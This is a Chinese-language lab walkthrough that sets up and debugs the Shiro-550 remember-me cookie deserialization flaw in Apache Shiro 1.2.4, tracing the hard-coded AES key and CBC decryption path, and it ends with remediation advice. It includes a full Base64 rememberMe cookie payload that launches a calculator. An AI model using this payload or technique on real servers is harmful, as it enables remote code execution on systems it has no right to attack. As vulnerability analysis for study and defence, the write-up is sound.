准备:
需要maven,jdk1.8,IDEA,[shiro-1.2.4](https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4)
进入samples\web目录,拖到idea里,加载pom文件的依赖
踩坑:
问题1:
代码运行起来之后,一直包没有commons-collections4-4.0.jar这个依赖,导致不能反序列化
刚开始配置的是公司的maven地址,后来换成阿里的解决了
pom.xml依赖如下org.apache.commonscommons-collections44.0
问题2:
下载之后还是不行执行不了反序列化
把刚才的依赖拉到项目下lib目录下即可,使项目去lib下找相关的依赖包
配置tomcat
在代码中配置tomcat,如果没配置访问目录,点击fix去配置
点击tomcat的启动三角即可运行
我们分析的代码在扩展库中的shiro-web-1.2.4.jar下的org.apache.shiro.web/mgt/COOKIERememberMemanager.class中
在刚才说的.class文件中的84行下断点就可以开启调试模式,调试代码了
shiro默认使用了COOKIERememberMeManager,其处理COOKIE的流程是:得到rememberMe的COOKIE值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
下面的payload,COOKIE中设置可弹出计算机
rememberMe=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
我们在COOKIE中设置rememberMe字段,开启debug,接下来分析代码
点击execute后,成功断点,86行为我们获取COOKIE中的字段
然后单步执行,在95行对remember的值先进行了base64解码,执行到100行,返回解码后的值
单步执行,跳转到了org.apache.shiro.core.mgt.AbstractRememberMeManager中的getRememberedPrincipals方法。可以看到122行就是我们刚刚分析的方法。说明Bytes数组就是rememberme Base64解码后的值。
单步步入第124行,进入convertBytesToPrincipals函数
这个getCipherService函数返回this.cipherService
而this.cipherService被初始化为一个cipherService对象,所以一定会进入到if判断语句中
单步步入到decrypt方法中
167行,这是我们的解码函数,cipherService.decrypt()调用了this.getDecryptionCipherKey()
而在构造方法中,调用setCipherKey来设置encryptionCipherKey和decryptionCipherKey。而设置的值就是DEFAULT_CIPHER_KEY_BYTES
DEFAULT_CIPHER_KEY_BYTES已经硬编码在程序中了。此时我们已经拿到了密钥Key
再回到之前的地方,单步步入cipherService.decrypt
在这里我们发现iv是可控的
单步不入this.decryot方法
步入this.crypt方法
然后继续步入initNewCipher
继续步入newCipherInstance
getTransformationString方法中填充模式为CBC,进入方法看一下
此时我们知道填充模式为CBC。密钥是DEFAULT_CIPHER_KEY_BYTES,初始化向量IV也是可控的。那么我们可以随意构造rememberme了
再回到之前的那个地方。单步步入deserialize方法
继续步入函数
跟进去之后,可以看到在这里进行了反序列化
然后单步执行完50行代码后,成功弹出计算器
然后整个shiro550反序列化的流程跟进完成,后续再分析一下payload
后记
加密时:序列化转为二进制、encrypt加密、base64加密、放入COOKIE
解密时:从COOKIE中取出、base64解密、decrypt解密、反序列化
在利用时,可以根据硬编码在源码中的key构造payload。
修复:升级到最新的shiro、过滤COOKIE中较长的rememberMe等。CipherKey不要泄露
参考:https://ccship.cn/2021/11/26/155/